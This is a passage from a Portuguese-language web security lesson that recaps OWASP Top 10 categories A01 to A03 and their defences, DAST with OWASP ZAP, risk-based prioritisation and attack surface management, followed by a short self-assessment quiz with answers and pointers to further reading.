profissionais, a compreensão da ASM é vital 
para uma visão moderna da cibersegurança. 
Não basta proteger o que está visível; é 
preciso buscar ativamente o que está oculto e 
garantir que toda a pegada digital da 
organização esteja sob controle.



Consolidação: Fortalecendo a Defesa Digital
Nesta primeira parte da nossa jornada pelo OWASP Top 10, desvendamos a importância de 
entender as vulnerabilidades mais críticas em aplicações web. Começamos com a Quebra 
de Controle de Acesso (A01), que nos alertou sobre a falha em gerenciar permissões, como 
um porteiro que não faz seu trabalho. Em seguida, exploramos as Falhas Criptográficas 
(A02), que nos mostraram como segredos podem ser expostos quando o "cofre" da 
criptografia é mal utilizado ou ausente. Por fim, mergulhamos na Injeção (A03), com foco 
em SQL Injection e XSS, revelando como entradas maliciosas podem manipular bancos de 
dados e navegadores de usuários.

A01: Controle de Acesso
Verificar permissões no 
servidor, implementar "negação 
por padrão", validar propriedade 
de recursos

A02: Criptografia
Usar TLS/HTTPS, algoritmos 
modernos (AES-256, bcrypt), 
gerenciar chaves 
adequadamente

A03: Injeção
Consultas parametrizadas, 
escape de entrada, validação 
rigorosa de dados do usuário

Além de entender as vulnerabilidades, vimos como ferramentas DAST, como o OWASP ZAP, são essenciais para 
identificar esses problemas em aplicações em execução, agindo como um "testador de invasão" automatizado. E 
para ir além da simples detecção, introduzimos a Abordagem Baseada em Risco e a Gestão da Superfície de 
Ataque (ASM), que nos ensinam a priorizar vulnerabilidades com base no impacto real e a mapear todos os ativos 
digitais, garantindo que nada fique desprotegido.

Em Prática

Para aplicar o que você aprendeu, comece a analisar aplicações web com uma nova perspectiva: procure 
por parâmetros em URLs que possam ser manipulados (IDOR), observe se a comunicação é sempre 
HTTPS (criptografia), e imagine como um campo de entrada poderia ser usado para injetar código SQL 
ou JavaScript. Experimente o OWASP ZAP em um ambiente de teste para ver como ele identifica essas 
vulnerabilidades.



Autoavaliação
1 Qual das seguintes vulnerabilidades é um exemplo de Quebra de Controle de 

Acesso (A01)?
a) Um atacante injeta código SQL para roubar dados do banco de dados.
b) Um usuário comum consegue acessar a página de administração alterando um parâmetro na URL.
c) Uma aplicação armazena senhas em texto claro no banco de dados.
d) Um script malicioso é executado no navegador de outro usuário.

2 A principal medida de prevenção contra SQL Injection (SQLi) é:
a) Usar HTTPS para todas as comunicações.
b) Implementar validação de entrada no lado do cliente.
c) Utilizar consultas parametrizadas (prepared statements).
d) Armazenar senhas com hash e salt.

3 Qual é a principal diferença entre SAST e DAST?
a) SAST analisa o código em execução, DAST analisa o código-fonte.
b) SAST foca em vulnerabilidades de rede, DAST em vulnerabilidades de aplicação.
c) SAST analisa o código-fonte sem executá-lo, DAST interage com a aplicação em execução.
d) SAST é para testes manuais, DAST é para testes automatizados.

4 A Abordagem Baseada em Risco prioriza vulnerabilidades considerando:
a) Apenas a pontuação CVSS da vulnerabilidade.
b) Apenas a existência de exploits ativos.
c) A severidade técnica, o impacto no negócio, a criticidade dos ativos e a inteligência de ameaças.
d) Apenas a facilidade de correção da vulnerabilidade.

5 Questão Dissertativa
Explique a importância da Gestão da Superfície de Ataque (ASM) no contexto da segurança de aplicações 
web modernas, considerando a complexidade e a distribuição das infraestruturas de TI.

Gabarito

b) Um usuário comum consegue acessar a página 
de administração alterando um parâmetro na URL.

1.

c) Utilizar consultas parametrizadas (prepared 
statements).

2.

c) SAST analisa o código-fonte sem executá-lo, 
DAST interage com a aplicação em execução.

3.

c) A severidade técnica, o impacto no negócio, a 
criticidade dos ativos e a inteligência de ameaças.

4.

Próxima Aula

Na Aula 10 3 Análise de Aplicações Web - OWASP 
Top 10 (Parte 2), continuaremos nossa exploração do 
OWASP Top 10, abordando as categorias restantes e 
aprofundando ainda mais nas estratégias de mitigação 
e nas tendências futuras da segurança de aplicações.

Recursos Adicionais

Site Oficial do OWASP: Para a documentação 
completa e atualizada do OWASP Top 10.

Documentação do OWASP ZAP: Para aprender a 
usar a ferramenta na prática.

Artigos sobre Risk-Based Vulnerability 
Management: Para aprofundar na priorização de 
vulnerabilidades.

NOTA IMPORTANTE: As informações regulatórias/legais/técnicas desta aula estão atualizadas até 2025. Consulte sempre fontes oficiais para 
verificar alterações.


